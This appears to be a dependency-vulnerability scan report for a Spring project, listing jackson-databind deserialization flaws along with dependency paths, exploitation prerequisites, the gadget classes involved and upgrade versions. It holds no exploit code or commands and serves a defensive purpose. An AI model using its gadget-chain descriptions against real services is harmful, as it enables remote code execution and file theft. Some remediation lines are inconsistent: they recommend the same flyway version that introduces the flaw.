Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A malicious user could perform a SSRF attack via the javax.swing gadget (specifically javax.swing.JTextPane).
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.
Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.
An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.
Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.5, 2.9.10.7 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. When Default Typing is enabled for an externally exposed JSON endpoint, the service has the mysql-connector-java jar in the classpath. An attacker can host a crafted MySQL server reachable by the victim and send a crafted JSON message that allows them to read arbitrary local files on the server. This occurs due to missing com.mysql.cj.jdbc.admin.MiniAdmin validation.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.9, 2.8.11.4, 2.7.9.6, 2.6.7.3 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to an incomplete black list (incomplete fix for CVE-2017-7525). This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper, bypassing a blacklist that is ineffective if the Spring libraries are available in the classpath.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.8.11, 2.9.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data due to an incomplete black list (incomplete fix for CVE-2017-7525 and CVE-2017-17485). This is exploitable via two different gadgets that bypass a blacklist.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.8.11, 2.9.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@1.0.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.1.8.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It allows unauthenticated remote code execution because of an incomplete fix for the CVE-2017-7525 deserialization flaw. This is exploitable by sending maliciously crafted JSON input to the readValue method of the ObjectMapper, bypassing a blacklist that is ineffective if the c3p0 libraries are available in the classpath.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.5, 2.8.11.1, 2.9.5 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data which allows attackers to have a variety of impacts by leveraging failure to block the logback-core class from polymorphic deserialization. Depending on the classpath content, remote code execution may be possible.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.9.1, 2.8.11.4, 2.7.9.6 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. SubTypeValidator.java mishandles default typing when ehcache is used, leading to remote code execution.
NOTE: This vulnerability has also been identified as: CVE-2019-14439
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.9.2, 2.8.11.4, 2.7.9.6 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered as com.zaxxer.hikari.HikariDataSource was not blocked.
Note: This is a different vulnerability than CVE-2019-14540.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10, 2.8.11.5, 2.6.7.3 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. A Polymorphic Typing issue was discovered as com.zaxxer.hikari.HikariConfig was not blocked.
Note: This is a different vulnerability than CVE-2019-16335.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10, 2.8.11.5, 2.6.7.3 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.cxf.jaxrs.provider.XSLTJaxbProvider.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.9.10, 2.8.11.5, 2.6.7.3 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
